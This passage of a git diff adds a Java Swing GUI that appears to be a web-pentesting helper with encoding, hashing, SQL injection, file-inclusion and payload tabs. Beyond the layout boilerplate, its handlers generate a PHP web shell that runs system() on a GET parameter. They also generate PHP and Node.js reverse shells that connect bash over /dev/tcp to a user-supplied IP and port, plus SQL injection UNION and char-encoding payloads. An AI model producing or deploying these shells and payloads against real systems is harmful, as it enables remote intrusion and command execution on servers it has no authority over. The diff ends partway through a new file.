java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel49.setForeground(new java.awt.Color(255, 255, 255)); + jLabel49.setText("Output"); + + nodejsoutput.setColumns(20); + nodejsoutput.setLineWrap(true); + nodejsoutput.setRows(5); + nodejsoutput.setAutoscrolls(false); + jScrollPane35.setViewportView(nodejsoutput); + + nodejsinputip.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + nodejsinputipActionPerformed(evt); + } + }); + + jLabel51.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel51.setForeground(new java.awt.Color(255, 255, 255)); + jLabel51.setText("IP"); + + javax.swing.GroupLayout jPanel42Layout = new javax.swing.GroupLayout(jPanel42); + jPanel42.setLayout(jPanel42Layout); + jPanel42Layout.setHorizontalGroup( + jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel42Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane35, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE) + .addGroup(jPanel42Layout.createSequentialGroup() + .addGroup(jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel49) + .addGroup(jPanel42Layout.createSequentialGroup() + .addGroup(jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(nodejsinputip, javax.swing.GroupLayout.PREFERRED_SIZE, 168, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel51)) + .addGap(18, 18, 18) + .addGroup(jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel48) + .addComponent(nodejsinputport, javax.swing.GroupLayout.PREFERRED_SIZE, 168, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + jPanel42Layout.setVerticalGroup( + jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel42Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel48) + .addComponent(jLabel51)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel42Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(nodejsinputip, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(nodejsinputport, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(13, 13, 13) + .addComponent(jLabel49) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane35, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel40Layout = new javax.swing.GroupLayout(jPanel40); + jPanel40.setLayout(jPanel40Layout); + jPanel40Layout.setHorizontalGroup( + jPanel40Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel40Layout.createSequentialGroup() + .addComponent(jPanel41, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel42, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel40Layout.setVerticalGroup( + jPanel40Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel41, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel42, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout rot14Layout = new javax.swing.GroupLayout(rot14); + rot14.setLayout(rot14Layout); + rot14Layout.setHorizontalGroup( + rot14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel40, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + rot14Layout.setVerticalGroup( + rot14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel40, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + payloadPanelchild.addTab("Nodejs Reverse Shell", rot14); + + javax.swing.GroupLayout payloadPanelLayout = new javax.swing.GroupLayout(payloadPanel); + payloadPanel.setLayout(payloadPanelLayout); + payloadPanelLayout.setHorizontalGroup( + payloadPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(payloadPanelchild) + ); + payloadPanelLayout.setVerticalGroup( + payloadPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(payloadPanelchild) + ); + + jTabbedPane1.addTab("Payloads", payloadPanel); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jTabbedPane1) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jTabbedPane1) + ); + + pack(); + }// </editor-fold> + Encode encode= new Encode(); + sql sqli = new sql(); + lfi fileinclusion= new lfi(); + private void urldecodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String url= urlinput.getText();// TODO add your handling code here: + String encodedQuery = encode.urldecodeValue(url); + urloutput.setText(encodedQuery); + urlinput.setText(encodedQuery); + } + + private void urlencodeActionPerformed(java.awt.event.ActionEvent evt) { + + String url= urlinput.getText();// TODO add your handling code here: + String encodedQuery = encode.urlencodeValue(url); + urloutput.setText(encodedQuery); + + urlinput.setText(encodedQuery); + } + + private void urlinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void jTabbedPane1StateChanged(javax.swing.event.ChangeEvent evt) { + // TODO add your handling code here: + } + + private void base64encodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= base64input.getText();// TODO add your handling code here: + String encodedQuery = encode.base64encodeValue(text); + base64output.setText(encodedQuery); + base64input.setText(encodedQuery); + } + + private void base64decodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= base64input.getText();// TODO add your handling code here: + String encodedQuery = encode.base64decodeValue(text); + base64output.setText(encodedQuery); + base64input.setText(encodedQuery); + } + + private void base64inputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void hexencodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= hexinput.getText();// TODO add your handling code here: + String encodedQuery = encode.hexencodeValue(text); + hexoutput.setText(encodedQuery); + hexinput.setText(encodedQuery); + } + + private void hexdecodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= hexinput.getText();// TODO add your handling code here: + String encodedQuery = encode.hexdecodeValue(text); + hexoutput.setText(encodedQuery); + hexinput.setText(encodedQuery); + } + + private void hexinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void binaryencodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= binaryinput.getText();// TODO add your handling code here: + String encodedQuery = encode.binaryencodeValue(text); + binaryoutput.setText(encodedQuery); + binaryinput.setText(encodedQuery); + } + + private void binarydecodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= binaryinput.getText();// TODO add your handling code here: + String encodedQuery = encode.binarydecodeValue(text); + binaryoutput.setText(encodedQuery); + binaryinput.setText(encodedQuery); + } + + private void binaryinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void md5inputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void md5encodeActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= md5input.getText();// TODO add your handling code here: + String encodedQuery = encode.md5encodeValue(text); + md5output.setText(encodedQuery); + } + + private void sha1encryptActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= sha1input.getText();// TODO add your handling code here: + String encodedQuery = encode.sha1encodeValue(text); + sha1output.setText(encodedQuery); // TODO add your handling code here: + } + + private void sha1inputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void sha256encryptActionPerformed(java.awt.event.ActionEvent evt) { + String text= sha256input.getText();// TODO add your handling code here: + String encodedQuery = encode.sha256encodeValue(text); + sha256output.setText(encodedQuery); // TODO add your handling code here: + } + + private void sha256inputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void rot13encryptActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String text= rot13input.getText();// TODO add your handling code here: + String encodedQuery = encode.rot13encodeValue(text); + rot13output.setText(encodedQuery); + } + + private void rot13inputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void phpbackdoorActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String variable = phpbackdoorinput.getText(); + String phpbackdoor = String.format("<?php echo system($_GET[\"%s\"]); ?>", variable); + phpbackdooroutput.setText(phpbackdoor); + } + + private void phpbackdoorinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + // TODO add your handling code here: + + } + + private void phpreverseshellActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String ip = phpreverseshellip.getText(); + String port = phpreverseshellport.getText(); + String phpbackdoor = String.format("<?php system(\"bash -i >& /dev/tcp/%s/%s 0>&1\"); ?>", ip, port); + phpreverseshelloutput.setText(phpbackdoor); + } + + private void phpreverseshellportActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void phprfiActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + + String variable = phprfiinput.getText(); + String phpbackdoor = String.format("<?php echo system($_GET[\"%s\"]); ?>", variable); + phprfioutput.setText(phpbackdoor); + } + + private void phprfiinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void nodejsActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String ip = nodejsinputip.getText(); + String port = nodejsinputport.getText(); + String phpbackdoor = String.format("require('child_process').exec('bash -i >& /dev/tcp/%s/%s 0>&1')", ip, port); + nodejsoutput.setText(phpbackdoor); + + } + + private void nodejsinputportActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void phpreverseshellipActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void nodejsinputipActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void mysqlcharActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String input = mysqlcharinput.getText(); + String encodedQuery = sqli.mysqlchar(input); + mysqlcharoutput.setText(encodedQuery); + } + + private void mysqlcharinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void mysqlchar1ActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void mssqlcharActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String input = mssqlcharinput.getText(); + String encodedQuery = sqli.mssqlchar(input); + mssqlcharoutput.setText(encodedQuery); + } + + private void mssqlcharinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void oraclecharActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String input = oracleinput.getText(); + String encodedQuery = sqli.oraclesqlchar(input); + oracleoutput.setText(encodedQuery); + } + + private void oracleinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void unionActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + int input = Integer.parseInt(unioninput.getText()); + String encodedQuery = sqli.union(input); + unionoutput.setText(encodedQuery); + } + + private void unioninputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void spacetoinlineActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + String input = spacetoinlineinput.getText(); + String encodedQuery = sqli.spacetoinline(input); + spacetoinlineoutput.setText(encodedQuery); + + } + + private void spacetoinlineinputActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void windowslfiActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + int option = jComboBox1.getSelectedIndex(); + String input = windowsinputurl.getText(); + try { + URL url = new URL(input); + String param = windowsinputpara.getText(); + Map<String, String> encodedQuery = lfi.splitQuery(url, param, option); + String test = encodedQuery.get("url"); + windowsoutput.setText(test); + } catch (MalformedURLException ex) { + Logger.getLogger(multiwebForm.class.getName()).log(Level.SEVERE, null, ex); + } catch (UnsupportedEncodingException ex) { + Logger.getLogger(multiwebForm.class.getName()).log(Level.SEVERE, null, ex); + } + } + + private void windowsinputparaActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void windowsinputurlActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void jComboBox1ActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void linuxlfiActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + int option = linuxcombo.getSelectedIndex(); + String input = linuxinputurl.getText(); + try { + URL url = new URL(input); + String param = linuxinputpara.getText(); + Map<String, String> encodedQuery = lfi.linuxsplitQuery(url, param, option); + String test = encodedQuery.get("url"); + linuxlfioutput.setText(test); + } catch (MalformedURLException ex) { + Logger.getLogger(multiwebForm.class.getName()).log(Level.SEVERE, null, ex); + } catch (UnsupportedEncodingException ex) { + Logger.getLogger(multiwebForm.class.getName()).log(Level.SEVERE, null, ex); + } + } + + private void linuxinputparaActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void linuxinputurlActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + private void linuxcomboActionPerformed(java.awt.event.ActionEvent evt) { + // TODO add your handling code here: + } + + /** + * @param args the command line arguments + */ + + public static void main(String args[]) { + /* Set the Nimbus look and feel */ + //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException ex) { + java.util.logging.Logger.getLogger(multiwebForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (InstantiationException ex) { + java.util.logging.Logger.getLogger(multiwebForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (IllegalAccessException ex) { + java.util.logging.Logger.getLogger(multiwebForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(multiwebForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + //</editor-fold> + + /* Create and display the form */ + java.awt.EventQueue.invokeLater(new Runnable() { + public void run() { + + new multiwebForm().setVisible(true); + + } + }); + } + + // Variables declaration - do not modify + private javax.swing.JPanel base64; + private javax.swing.JButton base64decode; + private javax.swing.JButton base64encode; + private javax.swing.JTextField base64input; + private javax.swing.JTextArea base64output; + private javax.swing.JPanel binary; + private javax.swing.JButton binarydecode; + private javax.swing.JButton binaryencode; + private javax.swing.JTextField binaryinput; + private javax.swing.JTextArea binaryoutput; + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.ButtonGroup buttonGroup2; + private javax.swing.ButtonGroup buttonGroup3; + private javax.swing.ButtonGroup buttonGroup4; + private javax.swing.ButtonGroup buttonGroup5; + private javax.swing.JTabbedPane datagrapper; + private javax.swing.JTabbedPane datagrapper1; + private javax.swing.JTabbedPane datagrapper2; + private javax.swing.JTabbedPane encodePanel; + private javax.swing.JPanel encodingPanel; + private javax.swing.JPanel encryptionPanel; + private javax.swing.JTabbedPane encryptionPanel2; + private javax.swing.JPanel hex; + private javax.swing.JButton hexdecode; + private javax.swing.JButton hexencode; + private javax.swing.JTextField hexinput; + private javax.swing.JTextArea hexoutput; + private javax.swing.JPanel infocolumn; + private javax.swing.JComboBox<String> jComboBox1; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel10; + private javax.swing.JLabel jLabel11; + private javax.swing.JLabel jLabel12; + private javax.swing.JLabel jLabel13; + private javax.swing.JLabel jLabel14; + private javax.swing.JLabel jLabel15; + private javax.swing.JLabel jLabel16; + private javax.swing.JLabel jLabel17; + private javax.swing.JLabel jLabel18; + private javax.swing.JLabel jLabel19; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel20; + private javax.swing.JLabel jLabel21; + private javax.swing.JLabel jLabel22; + private javax.swing.JLabel jLabel23; + private javax.swing.JLabel jLabel24; + private javax.swing.JLabel jLabel25; + private javax.swing.JLabel jLabel26; + private javax.swing.JLabel jLabel27; + private javax.swing.JLabel jLabel28; + private javax.swing.JLabel jLabel29; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel30; + private javax.swing.JLabel jLabel31; + private javax.swing.JLabel jLabel32; + private javax.swing.JLabel jLabel33; + private javax.swing.JLabel jLabel34; + private javax.swing.JLabel jLabel35; + private javax.swing.JLabel jLabel36; + private javax.swing.JLabel jLabel37; + private javax.swing.JLabel jLabel38; + private javax.swing.JLabel jLabel39; + private javax.swing.JLabel jLabel4; + private javax.swing.JLabel jLabel40; + private javax.swing.JLabel jLabel41; + private javax.swing.JLabel jLabel42; + private javax.swing.JLabel jLabel43; + private javax.swing.JLabel jLabel44; + private javax.swing.JLabel jLabel45; + private javax.swing.JLabel jLabel46; + private javax.swing.JLabel jLabel47; + private javax.swing.JLabel jLabel48; + private javax.swing.JLabel jLabel49; + private javax.swing.JLabel jLabel5; + private javax.swing.JLabel jLabel50; + private javax.swing.JLabel jLabel51; + private javax.swing.JLabel jLabel52; + private javax.swing.JLabel jLabel53; + private javax.swing.JLabel jLabel54; + private javax.swing.JLabel jLabel55; + private javax.swing.JLabel jLabel56; + private javax.swing.JLabel jLabel57; + private javax.swing.JLabel jLabel58; + private javax.swing.JLabel jLabel59; + private javax.swing.JLabel jLabel6; + private javax.swing.JLabel jLabel60; + private javax.swing.JLabel jLabel61; + private javax.swing.JLabel jLabel62; + private javax.swing.JLabel jLabel65; + private javax.swing.JLabel jLabel66; + private javax.swing.JLabel jLabel68; + private javax.swing.JLabel jLabel69; + private javax.swing.JLabel jLabel7; + private javax.swing.JLabel jLabel70; + private javax.swing.JLabel jLabel71; + private javax.swing.JLabel jLabel8; + private javax.swing.JLabel jLabel9; + private javax.swing.JPanel jPanel1; + private javax.swing.JPanel jPanel10; + private javax.swing.JPanel jPanel101; + private javax.swing.JPanel jPanel102; + private javax.swing.JPanel jPanel103; + private javax.swing.JPanel jPanel11; + private javax.swing.JPanel jPanel12; + private javax.swing.JPanel jPanel13; + private javax.swing.JPanel jPanel14; + private javax.swing.JPanel jPanel15; + private javax.swing.JPanel jPanel16; + private javax.swing.JPanel jPanel17; + private javax.swing.JPanel jPanel18; + private javax.swing.JPanel jPanel19; + private javax.swing.JPanel jPanel2; + private javax.swing.JPanel jPanel20; + private javax.swing.JPanel jPanel21; + private javax.swing.JPanel jPanel22; + private javax.swing.JPanel jPanel23; + private javax.swing.JPanel jPanel24; + private javax.swing.JPanel jPanel25; + private javax.swing.JPanel jPanel26; + private javax.swing.JPanel jPanel27; + private javax.swing.JPanel jPanel28; + private javax.swing.JPanel jPanel29; + private javax.swing.JPanel jPanel30; + private javax.swing.JPanel jPanel31; + private javax.swing.JPanel jPanel32; + private javax.swing.JPanel jPanel33; + private javax.swing.JPanel jPanel34; + private javax.swing.JPanel jPanel35; + private javax.swing.JPanel jPanel36; + private javax.swing.JPanel jPanel37; + private javax.swing.JPanel jPanel38; + private javax.swing.JPanel jPanel39; + private javax.swing.JPanel jPanel40; + private javax.swing.JPanel jPanel41; + private javax.swing.JPanel jPanel42; + private javax.swing.JPanel jPanel43; + private javax.swing.JPanel jPanel44; + private javax.swing.JPanel jPanel45; + private javax.swing.JPanel jPanel46; + private javax.swing.JPanel jPanel47; + private javax.swing.JPanel jPanel48; + private javax.swing.JPanel jPanel49; + private javax.swing.JPanel jPanel50; + private javax.swing.JPanel jPanel51; + private javax.swing.JPanel jPanel52; + private javax.swing.JPanel jPanel53; + private javax.swing.JPanel jPanel54; + private javax.swing.JPanel jPanel55; + private javax.swing.JPanel jPanel56; + private javax.swing.JPanel jPanel57; + private javax.swing.JPanel jPanel58; + private javax.swing.JPanel jPanel59; + private javax.swing.JPanel jPanel60; + private javax.swing.JPanel jPanel61; + private javax.swing.JPanel jPanel62; + private javax.swing.JPanel jPanel63; + private javax.swing.JPanel jPanel64; + private javax.swing.JPanel jPanel65; + private javax.swing.JPanel jPanel66; + private javax.swing.JPanel jPanel67; + private javax.swing.JPanel jPanel68; + private javax.swing.JPanel jPanel69; + private javax.swing.JPanel jPanel70; + private javax.swing.JPanel jPanel71; + private javax.swing.JPanel jPanel72; + private javax.swing.JPanel jPanel73; + private javax.swing.JPanel jPanel74; + private javax.swing.JPanel jPanel75; + private javax.swing.JPanel jPanel76; + private javax.swing.JPanel jPanel77; + private javax.swing.JPanel jPanel78; + private javax.swing.JPanel jPanel79; + private javax.swing.JPanel jPanel80; + private javax.swing.JPanel jPanel81; + private javax.swing.JPanel jPanel82; + private javax.swing.JPanel jPanel83; + private javax.swing.JPanel jPanel84; + private javax.swing.JPanel jPanel85; + private javax.swing.JPanel jPanel86; + private javax.swing.JPanel jPanel87; + private javax.swing.JPanel jPanel9; + private javax.swing.JPanel jPanel91; + private javax.swing.JPanel jPanel92; + private javax.swing.JPanel jPanel93; + private javax.swing.JPanel jPanel96; + private javax.swing.JPanel jPanel97; + private javax.swing.JPanel jPanel98; + private javax.swing.JPanel jPanel99; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JScrollPane jScrollPane10; + private javax.swing.JScrollPane jScrollPane11; + private javax.swing.JScrollPane jScrollPane12; + private javax.swing.JScrollPane jScrollPane13; + private javax.swing.JScrollPane jScrollPane14; + private javax.swing.JScrollPane jScrollPane15; + private javax.swing.JScrollPane jScrollPane16; + private javax.swing.JScrollPane jScrollPane17; + private javax.swing.JScrollPane jScrollPane18; + private javax.swing.JScrollPane jScrollPane19; + private javax.swing.JScrollPane jScrollPane2; + private javax.swing.JScrollPane jScrollPane20; + private javax.swing.JScrollPane jScrollPane21; + private javax.swing.JScrollPane jScrollPane22; + private javax.swing.JScrollPane jScrollPane23; + private javax.swing.JScrollPane jScrollPane24; + private javax.swing.JScrollPane jScrollPane25; + private javax.swing.JScrollPane jScrollPane26; + private javax.swing.JScrollPane jScrollPane27; + private javax.swing.JScrollPane jScrollPane28; + private javax.swing.JScrollPane jScrollPane29; + private javax.swing.JScrollPane jScrollPane3; + private javax.swing.JScrollPane jScrollPane30; + private javax.swing.JScrollPane jScrollPane31; + private javax.swing.JScrollPane jScrollPane32; + private javax.swing.JScrollPane jScrollPane33; + private javax.swing.JScrollPane jScrollPane34; + private javax.swing.JScrollPane jScrollPane35; + private javax.swing.JScrollPane jScrollPane36; + private javax.swing.JScrollPane jScrollPane37; + private javax.swing.JScrollPane jScrollPane38; + private javax.swing.JScrollPane jScrollPane39; + private javax.swing.JScrollPane jScrollPane4; + private javax.swing.JScrollPane jScrollPane40; + private javax.swing.JScrollPane jScrollPane41; + private javax.swing.JScrollPane jScrollPane43; + private javax.swing.JScrollPane jScrollPane45; + private javax.swing.JScrollPane jScrollPane5; + private javax.swing.JScrollPane jScrollPane6; + private javax.swing.JScrollPane jScrollPane7; + private javax.swing.JScrollPane jScrollPane8; + private javax.swing.JScrollPane jScrollPane9; + private javax.swing.JTabbedPane jTabbedPane1; + private javax.swing.JTable jTable1; + private javax.swing.JTable jTable2; + private javax.swing.JTextArea jTextArea1; + private javax.swing.JTextArea jTextArea10; + private javax.swing.JTextArea jTextArea11; + private javax.swing.JTextArea jTextArea12; + private javax.swing.JTextArea jTextArea13; + private javax.swing.JTextArea jTextArea14; + private javax.swing.JTextArea jTextArea15; + private javax.swing.JTextArea jTextArea16; + private javax.swing.JTextArea jTextArea17; + private javax.swing.JTextArea jTextArea18; + private javax.swing.JTextArea jTextArea19; + private javax.swing.JTextArea jTextArea2; + private javax.swing.JTextArea jTextArea20; + private javax.swing.JTextArea jTextArea21; + private javax.swing.JTextArea jTextArea22; + private javax.swing.JTextArea jTextArea23; + private javax.swing.JTextArea jTextArea24; + private javax.swing.JTextArea jTextArea4; + private javax.swing.JTextArea jTextArea5; + private javax.swing.JTextArea jTextArea6; + private javax.swing.JTextArea jTextArea7; + private javax.swing.JTextArea jTextArea8; + private javax.swing.JTextArea jTextArea9; + private javax.swing.JPanel lfiPanel; + private javax.swing.JComboBox<String> linuxcombo; + private javax.swing.JTextField linuxinputpara; + private javax.swing.JTextField linuxinputurl; + private javax.swing.JButton linuxlfi; + private javax.swing.JTextArea linuxlfioutput; + private javax.swing.JPanel md5; + private javax.swing.JButton md5encode; + private javax.swing.JTextField md5input; + private javax.swing.JTextArea md5output; + private javax.swing.JPanel md6; + private javax.swing.JPanel msqsqlchar; + private javax.swing.JPanel msqsqlchar2; + private javax.swing.JPanel msqsqlchar3; + private javax.swing.JButton mssqlchar; + private javax.swing.JPanel mssqlcharPanel; + private javax.swing.JTextField mssqlcharinput; + private javax.swing.JTextArea mssqlcharoutput; + private javax.swing.JPanel mssqlcheatsheetpanel; + private javax.swing.JButton mysqlchar; + private javax.swing.JButton mysqlchar1; + private javax.swing.JTextField mysqlcharinput; + private javax.swing.JTextArea mysqlcharoutput; + private javax.swing.JTextArea mysqlcharoutput1; + private javax.swing.JPanel mysqlcheetsheetPanle; + private javax.swing.JButton nodejs; + private javax.swing.JTextField nodejsinputip; + private javax.swing.JTextField nodejsinputport; + private javax.swing.JTextArea nodejsoutput; + private javax.swing.JButton oraclechar; + private javax.swing.JPanel oraclecharpanel; + private javax.swing.JTextField oracleinput; + private javax.swing.JTextArea oracleoutput; + private javax.swing.JPanel payloadPanel; + private javax.swing.JTabbedPane payloadPanelchild; + private javax.swing.JButton phpbackdoor; + private javax.swing.JTextField phpbackdoorinput; + private javax.swing.JTextArea phpbackdooroutput; + private javax.swing.JButton phpreverseshell; + private javax.swing.JTextField phpreverseshellip; + private javax.swing.JTextArea phpreverseshelloutput; + private javax.swing.JTextField phpreverseshellport; + private javax.swing.JButton phprfi; + private javax.swing.JTextField phprfiinput; + private javax.swing.JTextArea phprfioutput; + private javax.swing.JPanel rot13; + private javax.swing.JButton rot13encrypt; + private javax.swing.JTextField rot13input; + private javax.swing.JTextArea rot13output; + private javax.swing.JPanel rot14; + private javax.swing.JPanel sha1; + private javax.swing.JButton sha1encrypt; + private javax.swing.JTextField sha1input; + private javax.swing.JTextArea sha1output; + private javax.swing.JPanel sha2; + private javax.swing.JPanel sha256; + private javax.swing.JButton sha256encrypt; + private javax.swing.JTextField sha256input; + private javax.swing.JTextArea sha256output; + private javax.swing.JPanel sha257; + private javax.swing.JButton spacetoinline; + private javax.swing.JPanel spacetoinlinePanel; + private javax.swing.JTextField spacetoinlineinput; + private javax.swing.JTextArea spacetoinlineoutput; + private javax.swing.JPanel sqliPanel; + private javax.swing.JButton union; + private javax.swing.JTextField unioninput; + private javax.swing.JTextArea unionoutput; + private javax.swing.JPanel unionselectPanel; + private javax.swing.JPanel url; + private javax.swing.JPanel url1; + private javax.swing.JPanel url10; + private javax.swing.JPanel url11; + private javax.swing.JPanel url12; + private javax.swing.JPanel url13; + private javax.swing.JPanel url14; + private javax.swing.JPanel url2; + private javax.swing.JPanel url3; + private javax.swing.JPanel url5; + private javax.swing.JPanel url6; + private javax.swing.JPanel url7; + private javax.swing.JPanel url8; + private javax.swing.JPanel url9; + private javax.swing.JButton urldecode; + private javax.swing.JButton urlencode; + private javax.swing.JTextField urlinput; + private javax.swing.JTextArea urloutput; + private javax.swing.JTextField windowsinputpara; + private javax.swing.JTextField windowsinputurl; + private javax.swing.JButton windowslfi; + private javax.swing.JTextArea windowsoutput; + private javax.swing.JPanel xssPanel; + // End of variables declaration +} diff --git a/sourcecode/readme.md b/sourcecode/readme.md new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/sourcecode/readme.md @@ -0,0 +1 @@ + diff --git a/sourcecode/sql.java b/sourcecode/sql.java new file mode 100644 index 0000000..5c6e247 --- /dev/null +++ b/sourcecode/sql.java @@ -0,0 +1,88 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package multiweb; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; 